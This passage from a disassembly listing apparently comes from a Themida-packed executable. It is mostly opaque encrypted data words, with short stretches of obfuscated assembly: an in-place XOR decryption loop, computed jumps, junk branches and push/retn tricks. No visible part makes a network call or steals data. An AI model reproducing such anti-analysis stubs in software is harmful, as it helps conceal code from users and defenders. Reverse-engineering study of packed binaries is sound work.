0CA2E62D6h, 266E9F29h, 96675B2Fh dd 0A799B78Eh, 3240FB86h, 2AA3h, 0D6F4D00h, 7940E476h dd 0F6BD9F2Dh, 5828388Ch, 8D3A60EDh, 0CB629617h, 0E62C35E0h dd 49h, 44E87Ah, 873A60E1h, 6FAF95B3h, 40E4760Dh, 0BD9EE1D7h dd 73C08635h, 44273D04h, 8755ADAAh, 21320F16h, 60C3CCBDh dd 0F93A4F3Ah, 60C31175h, 0DDAC963Ah, 370BFFCAh, 90E700D3h dd 3B4ABBA1h, 9768E00Eh, 436h, 760D6F31h, 46D40E4h, 98E2BD9Fh dd 7B56A352h, 839445CDh, 11BC2B6h, 81AD4A3Eh, 2EB63388h dd 7C4D5C2Dh, 0E5D82188h, 0DDD73D11h, 5C56BED0h, 0B094CB51h dd 1FD53421h, 0C2DAE20Ch, 263BB3B9h, 37446BF5h, 0A2F710C3h dd 0EC192397h, 0E125A994h, 17310C18h, 0FC6EF587h, 76EE5D68h dd 64E8D24Eh, 0A62ABBF9h, 76852F77h, 0BF93F75Bh, 99ED01CBh dd 6E2E4AAEh, 37163014h, 520CD7E2h, 832B314Ah, 5041B6E2h dd 0FAA3176Bh, 0C2F109A9h, 52261A7Eh, 0E33B91EBh, 0A514F8DCh dd 0B1916550h, 0E5106A7Bh, 259A1EAFh, 0ED8EEE0Eh, 53F3DFA7h dd 81B372A9h, 613B83ADh, 0CD9C10DAh, 25A4C98h, 0B9CA3B38h dd 4B51388Ch, 0A2408074h, 4D6D573Dh, 7CAA8E3Bh, 9721AB3Ah dd 5CC66B1Fh, 6886FC22h, 0E83090E5h, 21053840h, 0DE05795Dh dd 0A3F2FC80h, 8AEE2296h, 0F0F9CC60h, 0BC235C57h, 0E3B14A23h dd 6FEC1A3Fh, 0ADF6A72Bh, 0BB312C90h, 0E75AA504h, 58A28D1Ah dd 3959748Dh, 2082AC80h, 198D1FA5h, 1829F16Dh, 0D2AD98ECh dd 1E7E3EE8h, 6A5FD705h, 0FB6622C7h, 66B35C87h, 0ED36E76Bh dd 0B0043345h, 8EC6A35Ch, 0B7C528C6h, 0C6D68053h, 0BA07AFBDh dd 8B682D26h, 931BA5B7h, 0C3324F7h, 0B5F50278h, 731CF770h dd 8DA5AD5Bh, 0C33AFFDh, 0F77D8828h, 0AF85C165h, 300A0C33h dd 0BF052416h, 843B01E7h, 320E1F8Eh, 82BFC498h, 48E6DA3Eh dd 3AB1h, 0D6F5F00h dd 8D77E476h, 1396570Fh, 37412BC5h, 444501A5h, 2BCAC394h dd 0A3DE03EEh, 608EE2F7h, 9F732594h, 4C300ABDh, 6151E4E4h dd 6263313Ah, 363C7FAEh, 0CDAA2Ch, 0DEB20000h, 0A514F8D5h dd 2D9C605Fh, 0B019EDD8h, 65896A67h, 0C39418DEh, 33391461h dd 0CB5CBEC2h, 9B5B19A3h, 0F6CABE92h, 256E9F58h, 3844A428h dd 0BBCC3923h, 7C8E608Eh, 0C74B8691h, 68916583h, 0C5426058h dd 643866FDh, 97E00DDFh, 1BEFDA2Fh, 4B25C327h, 6DEB2223h dd 8557AB44h, 1FB1C47Bh, 0FA468313h, 72C21E6Ah, 20A99130h dd 3014F8D1h, 0DBCA5416h, 0FA53FDCCh, 0C8F50AA6h, 9A9E0FD4h dd 7406ACBBh, 45CD8C6Bh, 1E582h, 0F4C3D700h, 5A77BE6Fh dd 2C1D6C99h, 0F1C0D637h, 407F8562h, 0DE3D2493h, 8F78FBDAh dd 7FA84B76h, 28C51E29h, 8871E2DFh, 0D6B8CC60h, 400FC584h dd 0FBDADED8h, 0B160CA71h, 22D6CB2Ch, 71826304h, 0BD799F44h dd 869F4750h, 15A947BBh, 0C66EFC87h, 0BD9F0557h, 0D61EE2D8h dd 3A60CAB6h, 6DD1E037h, 0EA5E6BBCh, 87FB0A0Ch, 5DB73662h dd 2C35C7ACh, 0C285h, 9DE61700h, 0DE9086A0h, 8372F8D5h dd 92F65A75h, 5F4E9C74h, 0B1957948h, 5362B697h, 18BC47EFh dd 0F603C394h, 9AEF18DBh, 0BB33BDAFh, 3C6BE6CFh, 0AA95EF40h dd 4400A4B6h, 0CB3C6BE6h, 6BF159F7h, 3AB64BAh, 3C6BE647h dd 709EF2C8h, 21CB502Ch, 0DC2B2897h, 0FD0B8E91h, 0F5A8353h dd 0EFD34260h, 5C522A74h, 0D11B7F46h, 13E7DE24h, 0D75F113Fh dd 446D9ED5h, 0CF3E2C16h, 0BC698AB5h, 168E5964h, 258C6BF0h dd 0E86A2Dh, 0CED80000h, 74836CF7h, 22719E45h, 0C3DB342Fh dd 728667FCh, 3A219043h, 7DE6D923h, 0ADB68B90h, 0DA193440h dd 76EDD82Dh, 0BBCF6785h, 0CC584D1h, 0DADEC7BDh, 7A8F78FBh dd 0BD6C944Fh, 84084150h, 0F4C3D5h, 0CF3EE8CCh, 0B05D8FBAh dd 0A2E66A67h, 2CBE8C84h, 1D7E0AA2h, 89F1C394h, 941D0D79h dd 8EB882C3h, 845F6ABFh, 0BD889D08h, 0EA710B93h, 0F207F600h dd 5D6E4F1Ch, 0F7EB5D9Ch, 891DCF03h, 0C394D2FDh, 16DE0872h dd 0BD849259h, 7D2C90EAh, 0A737C628h, 0A750689Dh, 0C55531B5h dd 0E0DA3A64h, 6DB6578Ch, 0C644EC50h, 0DE82221Eh, 0BA99E10Ch dd 729B2A8Ch, 0DECF1421h, 2D186DD5h, 8E9445C9h, 0B98A0B6Ch dd 83E7B570h, 786023Fh, 0BBB8959Eh, 0DAD7394Ah, 116EC2D1h dd 0DD09E72Eh, 280C0105h, 38F4034h, 29000000h, 0D4DE9C84h dd 57A009FDh, 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h dd 0FC02EB5Fh, 798871C5h, 0FA0DFC40h, 83CF7BCFh, 1C8904ECh dd 81E38924h, 4C3h, 4EB8300h, 5C241C87h, 81E28952h, 4C2h dd 4EA8100h, 87000000h, 895C2414h, 0E168241Ch, 8900001Ch dd 0B9512434h, 610C248h, 0C8BCB89h, 4C48324h, 24348B54h dd 4C481h, 52530000h, 4E3B5EBAh, 2454014Eh, 468F5A04h dd 86E8108h, 4E4E3B5Eh, 5124348Bh, 0C181E189h, 4, 4C181h dd 0C870000h, 1C8B5C24h, 0E7895724h, 4C781h, 0C7830000h dd 243C8704h, 0B195E95Ch, 7AB5FFFAh, 0DD303F76h ; --------------------------------------------------------------------------- loc_598E4C: ; CODE XREF: Themida_:loc_598297j mov eax, 610CD13h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0E5h, 0B3h, 0A8h dd 2B874F5Ch, 29955304h, 0C6396B16h, 0E8FE644Eh, 0F508ED6Fh dd 0C8D93969h, 0F18FCB36h, 3CA51F5Ch, 0BD7D4B4Dh, 767E446Dh dd 0E3BC391Fh, 81581C31h, 85CBC63Bh, 0AE82Dh, 42320000h dd 0DEB41713h, 0F2DEEE78h, 0DE9h, 0D903CE00h, 0ED71A0D7h dd 906C25C4h, 605A7E87h, 5C28161h, 0BB000063h, 0 ; --------------------------------------------------------------------------- jnb loc_598ED4 jg loc_598ED4 jmp loc_598ED4 ; --------------------------------------------------------------------------- db 55h, 0CDh, 0D4h dd 0BB4559A3h ; --------------------------------------------------------------------------- loc_598ED4: ; CODE XREF: Themida_:00598EBCj ; Themida_:00598EC2j ... push dword ptr [ebx+edx] cmc pop edi and ecx, 227CD073h xor edi, 2915C11Fh mov ax, di xor edi, 413B5167h mov cx, 98EFh sub edi, 69680D03h clc mov [edx+ebx], edi sub ebx, 1 movsx ecx, dx dec ebx dec ebx dec ebx ja $+6 cmp ebx, 0FFFF9D90h jnz loc_598ED4 jmp loc_598F2B ; --------------------------------------------------------------------------- dd 24372F1Dh, 0BBB92A21h, 0DA462D05h db 84h, 81h, 60h ; --------------------------------------------------------------------------- loc_598F2B: ; CODE XREF: Themida_:00598F17j lea ecx, [ebp+610CF34h] push 0 push esi call sub_598F3C and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598F3C proc near ; CODE XREF: Themida_:00598F34p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_598F3C endp ; --------------------------------------------------------------------------- dd 5BEFC63h, 4EAC0232h, 4D8D8968h, 6A060B17h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0D9F8C350h, 0BD9F56AEh, 11985C7h, 5FBC060Bh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 4BBE44C3h, 0C72E12DCh, 0B100985h, 6, 0DD38BE00h, 0B5FF71BFh dd 60B2A41h, 11698589h, 858B060Bh, 60B2ED9h, 0AC595FFh dd 8B66060Bh, 0FF006AF1h, 0B32DD95h, 0EBC08B06h, 41F8B519h dd 1FADA26Bh, 903ECE3Dh, 343101B9h, 0A61EF131h, 0E1C4E928h dd 0DE8097Dh, 0A000000h, 0EE31FBE6h, 447BA155h, 67C34E69h dd 9E8h, 9BBBC700h, 41669E13h, 0EE9AEC9h, 64000000h, 0DC495EBh dd 2D5C6603h, 66581237h, 0E9595E2Bh, 9, 328A9F2Dh, 0A30EAEC1h dd 0C6C1815Bh, 89000069h, 0B1B099Dh, 1A3F6806h, 665B0000h dd 8B99D3BFh, 85096011h, 60B0941h, 4810Fh, 0BE660000h dd 81619EC1h, 0FA4C56F2h, 5C88107h, 814D5A1Bh, 91E992F2h dd 5AC48039h, 0FF50F281h, 0B5897183h, 60B23EDh, 0BD8B1189h dd 60B2F55h, 8CEAE981h, 0C1816405h, 64058CE6h, 1659BD89h dd 0EB83060Bh, 11850F01h, 60000000h, 74E18166h, 16E96103h dd 0AB000000h, 946DA38h, 13418D89h, 8CE9060Bh, 93FFFFFFh dd 0B675D182h, 0ABE90Fh, 8D500000h, 0B11C3F2Eh, 0ABDA5F72h dd 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh dd 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h dd 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h dd 0B4F94E00h, 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h dd 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h dd 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h dd 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh dd 93BCE1B6h, 97B3ED72h, 0A601E800h, 323D94E7h, 0FE71D83h dd 1204E954h, 80680000h, 0E90610D2h, 0FFFAAE53h, 10D38868h dd 0AE49E906h, 4C68FFFAh, 0E90610D4h, 0FFFAAE3Fh, 10D5B968h dd 0AE35E906h, 2268FFFAh, 0E90610D6h, 0FFFAAE2Bh, 10D6C268h dd 0AE21E906h, 8B68FFFAh, 0E90610D7h, 0FFFAAE17h, 10D83468h dd 0AE0DE906h, 0F068FFFAh, 0E90610D8h, 0FFFAAE03h, 10DA3968h dd 0ADF9E906h, 3E68FFFAh, 0E90610DBh, 0FFFAADEFh, 10DC6368h dd 0ADE5E906h, 0B168FFFAh, 0E90610DDh, 0FFFAADDBh, 10DF7B68h dd 0ADD1E906h, 9468FFFAh, 0E90610E0h, 0FFFAADC7h, 0F66D64AEh dd 20330E19h, 5E85B4C7h, 896A69B1h, 3A39041Ch, 63B9549Bh dd 1166875Ch, 0CED6372Ch, 76836CF7h, 0F973985Bh, 84CC1175h dd 0B12796C5h, 72F8D5DEh, 1D384CE0h, 4B8FC394h, 0B3C4B59Dh dd 7B015D86h, 6FF27AE0h, 0C0BD9F19h, 0D9C416FAh, 0E5E105CEh dd 6A3A60E6h, 0E1483C10h, 9644B897h, 60E66A1Eh, 6B85FD3Ah dd 60E6EB9Bh, 6B7A3E3Ah, 35087891h, 20512Ch, 6FBF0000h dd 40E4760Dh, 0BD9F05D1h, 5090645Eh, 3A60CB30h, 0DA2EBFE5h dd 2C35C733h, 0B01Eh, 0D5DEE600h, 5FA514F8h, 0C468FA60h dd 0C3941D80h, 6150A607h, 3357DF0Dh, 0B4C3941Dh, 0A2A8A04Eh dd 0F9172A73h, 42360314h, 0A0B38E9Bh, 941B773Eh, 80BDC6C3h dd 0D124D153h, 0B2C746E0h, 0A1FB3387h, 0D9DC509Ah, 6E4260FFh dd 64587781h, 46DDBFFFh, 829B0A94h, 9FC591BFh, 10446D5Eh dd 0CFD5C02Ah, 34E163F0h, 286CD0E1h, 0CAF50FFEh, 6B461B3Dh dd 1DF2508Ch, 0FB2h, 0E67D545Eh, 10C3FE09h, 4E95A4F7h dd 0F97A59A1h, 2AC9F40Ch, 53A944ABh, 116F76Ch, 0BEC6273Ch dd 66B35C87h, 0E903886Bh, 84CF0145h, 413786C5h, 78FBDADEh dd 944F7A8Fh, 4A50BD6Ch, 0CBBF969Eh, 0EB2F93F7h, 1B613Dh dd 0A02448DAh, 27C3941Dh, 33BB35D3h, 0BD9F0582h, 32397EBh dd 3A60CB43h, 79830296h, 0FA4E7B8Ch, 57F66886h, 722C35C7h dd 0CDh, 0BB33BD9Ah, 0C3941DCFh, 0B10E434Eh, 0E3298E49h dd 1DA1D69Bh, 3C091AF3h, 7F9BE148h, 1F97A122h, 0C394D86Bh dd 5D7986FCh, 0D4B89C8Ah, 9484551Ch, 3393E4C3h, 2165E9E0h dd 259A16CDh, 87AD58E7h, 0C548E650h, 2B3185B0h, 7593AAFAh dd 22C85329h, 9FF78F8Ah, 38ACA0BDh, 3A61D74Ch, 589BFFC3h dd 495342CCh, 0D78AFE76h, 0D31D3A61h, 61D72F5Bh, 665AA03Ah dd 93A8F4C8h, 47AC2549h, 0D921446Ch, 0A79EE213h, 764953BCh dd 6A4A89F9h, 0E758AA8Ch, 0EAAh, 0EE754C56h, 18DBF601h dd 0B6AD9CEFh, 0E1724159h, 12C1FC04h, 5BA1BCA3h, 90EFF64h dd 0B6FE2F34h, 5EAB449Fh, 0E10BF063h, 84CE394Dh, 593F8EC5h dd 78FBDADEh, 944F7A8Fh, 0F8D5DE6Ch, 5B768372h, 9D7593F7h dd 75EEDB2Ch, 0CCB08998h, 263D081Dh, 66D54151h, 0A0F431D0h dd 266EDFC5h, 0C9675B2Fh, 0F109A7F5h, 81754457h, 0A1E5694Dh dd 256E9F4Dh, 0F86CFE28h, 0BD9F45CDh, 0CF077842h, 34EB16BEh dd 8557ECB0h, 0F4105461h, 0DDA199BFh, 0B6A4BFDDh, 0C66D563Eh dd 33442941h, 0E38CDDh, 14080BF9h, 76129AA0h, 0F935C540h dd 0A349AD81h, 74812172h, 0BD91F559h, 13C49A6h, 1076EC6h dd 0F255BD8Ah, 0DE6h, 0AA498092h, 0C41F2A7Dh, 72E1D82Bh dd 0ADB68D95h, 0DE053840h, 879D7067h, 354ABBB8h, 0EA3AEB08h dd 92E700D3h, 9D4FBCA7h, 84C97D09h, 9D03F2C5h, 14F8D5DEh dd 5430B4C6h, 0DBC3941Dh, 277549E7h, 3A6CE1Ch, 29BD9F1Eh dd 0F90CA4FCh, 2C0044C8h, 263D0502h, 768A2478h, 9AFECBDAh dd 0FF10AD7Dh, 0CA2E35DFh, 2F998C20h, 9CC3446Bh, 6A8F7F1Dh dd 906F9925h, 0E91426AAh, 1B6C7690h, 0F0AE9170h, 0E2E2729Ch dd 37307D4Bh, 81A8606Dh, 0A8262A46h, 5Dh, 0F5C0D5C0h, 3D23CD01h dd 0E4760D6Fh, 9EE1D740h, 0B2C835BDh, 2DDB3F83h, 0F406D42Eh dd 8FEA0547h, 3DEB5D7Ch, 0F352C4D0h, 0EF07F17Dh, 4FD91A7Eh dd 0B448F810h, 0B5394FD0h, 3A60CBD1h, 0DE086C56h, 60CB7416h dd 91ACF93Ah, 6453A542h, 0B4384A90h, 3A60CBD0h, 5EC56357h dd 0CF6h, 760D6FE6h, 0A4C85AE4h, 0C3941D20h, 21B553A7h dd 0BD846C68h, 5E4F9DE5h, 0BD2DA157h, 0DC87BD67h, 719C4EF8h dd 0DDCA2924h, 201968C8h, 96EF1ECCh, 45E327ABh, 0B4CFADCDh dd 9AE914A6h, 0E7FD89A7h, 15446B84h, 0DCA099E8h, 350811F8h dd 64E30D41h, 0D421CC1Eh, 788D7AF9h, 0AE6B0696h, 0C43893D1h dd 0DF643870h, 0CC84990Dh, 0F4594E40h, 0EF2397AEh, 94027C8Bh dd 0D131927Dh, 0C797Eh, 24136700h, 8AC7CE3Fh, 5C6DBC69h dd 21106687h, 0F0CFD532h, 6E8DD463h, 0DFC82B2Ah, 8F78FBC6h dd 78954E79h, 38C1122Fh, 0C8C8BC30h, 0F05FC584h, 1D27A708h dd 8517C394h, 0FAF86CFEh, 75BD846Dh, 0E52EDF0Dh, 899A0BE8h dd 0CCD0C8BCh, 0A41BA5B7h, 0A7174CB5h, 0AC38D681h, 4470EEF9h dd 0A5FB744Eh, 4A8C6D83h, 0C1007F8h, 0AAFC0000h, 50A74093h dd 615F261h, 0A7FF28CBh, 56AA5B98h, 264DF46Fh, 5182BDC7h dd 81526FB4h, 3E251064h, 6A89C4D1h, 0A7234BA1h, 28C584CBh dd 0D5DEE359h, 50A514F8h, 2448F765h, 481A9038h, 538F2C92h dd 71C0EAA4h, 0F94D7088h, 7FE76B85h, 0B950A825h, 90324099h dd 678h, 760D6F7Ch, 6D7F40E4h, 8AF0BD84h, 5560B560h, 8493028Eh dd 638DC1B5h, 0D8AC99EAh, 7B2D7808h, 2F34483Ah, 8BCAD03Dh dd 4E1B935Dh dd 0F244702Eh, 50285C4Dh, 82AC8B3Dh, 0F8B2BD85h, 0B8C6D82h dd 0B70583Fh, 0A1C0000h, 0B0C72033h, 66B55281h, 71F886Bh dd 0B6CA3B38h, 86ED548Fh, 31221D67h, 61F2CFD4h, 9E457084h dd 0CA292471h, 0C7832BC1h, 48C584CBh, 50BD03F9h, 4E82764Bh dd 6D58ADA0h, 8DF96DFFh, 2C3941Dh, 303A0E38h, 1D7A0EA6h dd 0F5CDC394h, 94A1F25Bh, 112C7920h, 98A9FCADh, 0C7C6DC34h dd 0F4F18B4Bh, 400CED1Ch, 5C6C432h, 0CA540000h, 941526A2h dd 0B751A9C3h, 1D27A741h, 8517C394h, 37F86CFEh, 88BD846Ch dd 83E7D227h, 0D8DECF59h, 173115F9h, 0F60BED36h, 3FC6C653h dd 6051A415h, 0ED36D70Ch, 700C6CD0h, 819401EBh, 4F88CCB0h dd 5D1C7CA8h, 0F07A9483h, 70B4297Ch, 8B44BE44h, 8C6DC9D1h dd 0A743040Eh, 5500000Ah, 3CE90A41h, 0EA1BD8E9h, 54B1A29Fh dd 3EC774Eh, 0A61DC6F9h, 79445CBFh, 0C9F40DFAh, 9CABFD2Ah dd 605DA647h, 4AE20EF3h, 0C584CA3Eh, 0DE5AC2B1h, 0A514F8D5h dd 28916550h, 0AF1EE2DFh, 0A79B6F5Ah, 0DF1C0D6h, 3A545153h dd 8F05801Ah, 32400D5Eh, 5134Bh, 0D6F9500h, 0B68306ADh dd 40A4DB3Dh, 19E6129Ah, 7149BD84h, 0DCE93AEBh, 0F188507h dd 86C0532h, 5BBF2450h, 0EF57A0ADh, 0E7DBAF9Ah, 57373F83h dd 673A7B9Ah, 48DC0E15h, 4470991Dh, 0F4C9CE3Fh, 0B10FD5Ah dd 2A0E4236h, 6DE9A9DDh, 7F84A8Ch, 9FEh, 0B2A198EAh, 0EC774255h dd 1AD9F003h, 0B5AE95EDh, 0E67D4058h, 0AFF5085Fh, 5DA24390h dd 212F360h, 0AAFF28CBh, 0B5B7449Fh, 84C55531h, 0F56BDAC5h dd 14F8D5DEh, 916550A5h, 0ED32E361h, 717C36D0h, 400D729Bh dd 4765F32h, 0A7B90000h, 0C3941D22h, 71FB801Ch, 846C3CFDh dd 0A349B1BDh, 799FE411h, 0BD5ACF52h, 71D83C8Fh, 61A52924h dd 0F63D46C7h, 9C84C064h, 370B3A7Bh, 7B9C4B3Fh, 82E6DC3Ah dd 0D226D751h, 0BFC845E3h, 78E35882h, 176554F9h, 4C9E729Ch dd 0FDEAAC2h, 69513A7Bh, 709DFFBFh, 7B0F88FCh, 0C73B1F3Ah dd 5709115h, 85FD4470h, 6E573E4Ah, 0BA1DF58Ch, 942h, 76EDE42Eh dd 0A0B38E99h, 0DE053447h, 9EAE931h, 0BAB9849Ch, 0E339D41Bh dd 91E607DCh, 4E56B7ACh, 0F603EC77h, 79F318DBh, 84C591F5h dd 31A716C5h, 0B4A50BDh, 2A2770DDh, 97A2F7A6h, 0B2337523h dd 0D60D384Dh, 40F1032Ah, 15F2E32h, 0DE360000h, 0A514F8D5h dd 6F76550h, 4225C3F2h, 4B288814h, 49477177h, 6905ABEh dd 2EE286D9h, 8CBAB74Bh, 9F9775F8h, 2B76A7BDh, 94384CE0h dd 4B8F3A61h, 605AB957h, 4C5F4E9Ch, 9BB5897Dh, 6194BBCBh dd 0D8E53A3Ah, 467D8574h, 404D47F2h, 7C892BCEh, 35966584h dd 254C2Ch, 6FA80000h, 39E4760Dh, 0B436D0EFh, 9F058130h dd 2094EEBDh, 60CB4000h, 0FE0F953Ah, 35C6E30Ah, 0BBCE2Ch dd 0DE160000h, 8372F8D5h, 91F55970h, 0D62A9377h, 6AD11BEFh dd 0D5590248h, 0C39412B1h, 8633CC36h, 0FA53FDC0h, 593347A9h dd 0FBFC7499h, 5CA85587h, 8FB99D61h, 61C1D2BBh, 70543817h dd 0FD417C89h, 28BEA599h, 0C3946851h, 79FAD720h, 16C45F3Dh dd 0DFA39EE7h, 0CB0212FBh, 0BE50347h, 99CC64E3h, 4F9DE5BDh dd 0AAEE5A5Eh, 0E5DC22ABh, 6FB55281h, 0D1DB9750h, 2A18865Fh dd 7F955h, 0A493E700h, 0A474EBFh, 0DCED3CE9h, 0A190E607h dd 704F55B2h, 0EE0D54E3h, 5F48ABAAh, 0FF87B46h, 0F815CEF9h dd 0B84192AFh, 0C7483CB0h, 70DFC584h, 0FBDADE88h, 4F7A8F78h dd 1425709Dh, 21C26CA0h, 0F8D5DED3h, 6550A514h, 0C0FD06F7h dd 75EE187Ch, 81C569FBh, 6C3941Dh, 9C605FA9h, 0B5AA44B8h dd 258h, 760D6FDFh, 0B4140E4h, 0F4CEBD9Fh, 0B1853A00h dd 0AB9E13CFh, 2B5B2BC5h, 0FE3A6087h, 8C76CD72h, 0DE87BF46h dd 9D777630h, 2C356E6Ch, 20145h, 20A7A300h, 1EC3941Dh dd 0FF77E57Eh, 0BD846C38h, 2BC977E4h, 608DF13h, 4DE16BE8h dd 3A7B5539h, 8A50B48Eh, 4D788D78h, 6C59AAA3h, 0EB0D16F7h dd 0E4336B81h, 53271B17h, 0CEC07F89h, 0AA77C6F0h, 673A4E86h dd 7B833A7Bh, 6987FB44h, 0A2CA4755h, 3A7B6726h, 630F8AA9h dd 0BCE935BDh, 7EF66458h, 44702C8Fh, 0B72D3A00h, 448C6E2Eh dd 6F409CEh, 96E00000h, 3C4BA4BFh, 0EA39D60Dh, 9BE30CD7h dd 4A4EBFA4h, 269E80Bh, 0B5AE91EBh, 0E57E4358h, 12C1FC08h dd 4E95A0F5h, 4307AFBDh, 0C4C584C6h, 0D5DE8F75h, 50A514F8h dd 0FB03ABF0h, 381CE0C4h, 608416C4h, 0C3941D64h, 917997EBh dd 3BE0ED27h, 0F400D3EEh, 3240F155h, 5865BA6Bh, 1302BAEh dd 1A410000h, 8DB7422Dh, 0FC628C3Dh, 92FE1EBDh, 0B3DA44D6h dd 526FB895h, 0DFEA3FEEh, 39425A04h, 9336BB33h, 0E807BD9Fh dd 561C63B0h, 0D5B99DE8h, 61546D1Dh, 0EDF8B83Ah, 3555F617h dd 34D32Ch, 5C490000h, 0B4887C4Dh, 0D6FA49Ah, 0D140E476h dd 5EBD9F05h, 0CB6E1A92h, 99E13A60h, 7111D1A5h, 0A43A60CBh dd 0F21BF1FCh, 0C82C35C6h, 4EF8C7DDh, 948Bh, 0D5DE5500h dd 5FA514F8h, 0D82D9C60h, 67B019EDh, 7C65896Ah, 0FFC393EBh dd 1A449FAAh, 0FB73F982h, 4266220Ch, 81604BF0h, 799B4B2Ch dd 33C1DBDh, 0F202BC50h, 0CA49E7DBh, 64B31D65h, 0CF1D7155h dd 78FBDADEh, 0BD4A758Fh, 86611931h, 0CF0FC042h, 0BD000005h dd 64815269h, 0D2332011h, 0BC698AC7h, 6B845F66h, 8E352E11h dd 417C8467h, 112C7592h, 0E4D325C2h, 48858E7Fh, 628A66ABh dd 0C584C166h, 0DEA21AE9h, 0EC78FBDAh, 5A5AF4Fh, 6F998A82h dd 0BBB8959Eh, 6DD5DE5Dh, 3357DF14h, 0B4C3941Dh, 0A2E66A4Eh dd 613FA4Eh, 977B5A5Eh, 8845FB3h, 275F85D3h, 14328EA3h dd 272Fh, 1EBD4900h, 565E7F86h, 927B9585h, 0FBD62181h dd 344A3317h, 0F4A5290Dh, 0E22296A3h, 0C3D43DC8h, 46966DF6h dd 3E000000h, 0F923D5DEh, 4980DB57h, 3C16D52Ch, 533F0C03h dd 2A5B8B7Fh, 0ADC394EFh, 339A6E55h, 0F3971FE0h, 74C394EFh dd 6CA62A0Eh, 0C5C7BB4Ah, 7C8E1293h, 94EF9CE8h, 12F13C3h dd 0B438FB0Ch, 0C394EFD0h, 0D40F6357h, 4150BD2Ch, 89B8408h dd 0D3FFD4A3h, 69E40266h, 0A93B211Ch, 94234105h, 52FCC6C3h dd 45DEBEFEh, 52A61F97h, 43B7BD84h, 2E1B6C99h, 29CFD835h dd 6B1798ADh, 0C2B6AAF4h, 0A349D2AAh, 4CE99D11h, 47E3A7Bh dd 0F6EC00EAh, 24446B3Ch, 0F309A3F9h, 200478CCh, 71CE785Ch dd 0E132E309h, 959E0FD4h, 0C8D4D4B8h, 2805A9B3h, 3D4E419Bh dd 0E7860AC5h, 45CD927Eh, 48182h, 2C1B6F00h, 0F2CFD637h dd 44758461h, 29286E9Fh, 0F8C7DDCAh, 7695DC7Bh, 27C01322h dd 9770E3DEh, 40ADB681h, 30D91A37h, 0C0D0B438h, 0E857C584h dd 6DD5DE70h, 64582C1Bh, 0E132D300h, 6CB960D4h, 4F4A458Ah dd 766AAAFBh, 0D3D2D482h, 77ECD92Ah, 78C246F5h, 724642CAh dd 0B5A18303h, 36D034A4h, 415A25C4h, 430C32h, 6FE80000h dd 40E4760Dh, 0BD9EE1D7h, 0C213B958h, 7FCD6581h, 96A16662h dd 0C6037F9h, 0EED92FDEh, 0FE3E175h, 11623A60h, 0E66A69B1h dd 0F1C8DBA2h, 0ED5C90Dh, 0D4B897E1h, 3DD73h, 0EB3CE900h dd 0F8166ADEh, 0F8D5DE02h, 0C4D7C614h, 0A1F25BF5h, 285CD062h dd 0BFC3941Dh, 1DFF8B5Bh, 0D170C394h, 0CE203484h, 0C5391D88h dd 273C401Eh, 0FD2CB135h, 3901BD9Fh, 0C3ED9D55h, 1B6C3A61h dd 32F8B2F5h, 83E70C80h, 0F464E3Fh, 54514BBBh, 109D073Ah dd 0E7355388h, 8B348C77h, 94AE35Dh, 3E672C36h, 0F5000000h dd 22CCFD08h, 760D6F3Ch, 5D140E4h, 645EBD9Fh, 0C6F107F6h dd 40002028h, 0C13A60CBh, 8FFB73B8h, 3A60CBh, 8B72C63Ah dd 0BBFE427Dh, 0FF126C79h, 39D028A5h, 102C35C7h, 0E6h dd 0F8D5DEFCh, 605FA514h, 36D82D9Ch, 56580654h, 0BBA185FDh dd 94673004h, 21CF3BD0h, 1A374029h, 0FBD625D0h, 7D04AA4Dh dd 9FC394CEh, 0CCED990Dh, 1862C394h, 3F0A1FEEh, 83BECB24h dd 869DFF3Fh, 0FB29D054h, 6786BD9Fh, 570D1A87h, 0A4B693h dd 3A61A344h, 4093F7CBh, 6FFD8616h, 6C3506C7h, 0A9B38744h dd 0EC1A277Ch, 0B6899302h, 0AEF223ADh, 41EF2397h, 7E89B4CCh dd 8C6A575Ch, 0B7DCB397h, 0A5000002h, 0CF97A51h, 0FA2BC8F9h dd 0A44192AFh, 13FC675Eh, 962D3609h, 6954AC4Fh, 39041D8Ah dd 8CBBCD3Ah, 506DB657h, 7AF27E83h, 0C584C20Eh, 0DE4A3281h dd 94E00DDAh, 1DDDA9B9h, 6852C394h, 0F53EEF74h, 1DC2862Eh dd 7D45C394h, 3C4EDA19h, 941DDCA8h, 0D2B63EC3h, 55C3941Dh dd 0EA3D926Dh, 33176BDFh, 1EBD2F15h, 0E434F1A0h, 0CF2DC8FFh dd 21AEB34Ch, 19633BD5h, 0E554D802h, 4ABD9F0Eh, 24A48C70h dd 0F13A60FCh, 896FBA6Bh, 1D77D04Dh, 0CE785CE8h, 0A23D9D4h dd 272C3517h, 0C6h, 0C3D48B5h, 0D5DE7CE2h, 0CB2F1A6Dh dd 0ACDFBA21h, 52F733CDh, 97ED5CB4h, 0E5D9E43Dh, 6D88D111h dd 0DE2BC394h, 829770E3h, 0C279C3B7h, 4CE0EACFh, 0C3944638h dd 458C4B8Fh, 3A82ACF6h, 8113D962h, 278BFF77h, 261CC394h dd 10957C08h, 106ABD9Fh, 0F2CDDBCAh, 0B9C39354h, 3634B8A2h dd 39446CAAh, 78736C1Ah, 5ABEA13Fh, 201F6590h, 0F7CED233h dd 6AFA9478h, 0F85FAB8Ch, 19Eh, 0D201384Ah, 0CD7E235h dd 0BAB990E3h, 0D50E354Dh, 6DDE038h, 4F55A8BFh, 0FD02E370h dd 0A2F213C0h, 4A5F48ABh, 0D517E47Fh, 84FD3551h, 55CBBAC5h dd 9B9E1EBDh, 0B7F7931Bh, 278C394h, 0A80171F5h, 4A758F7Eh dd 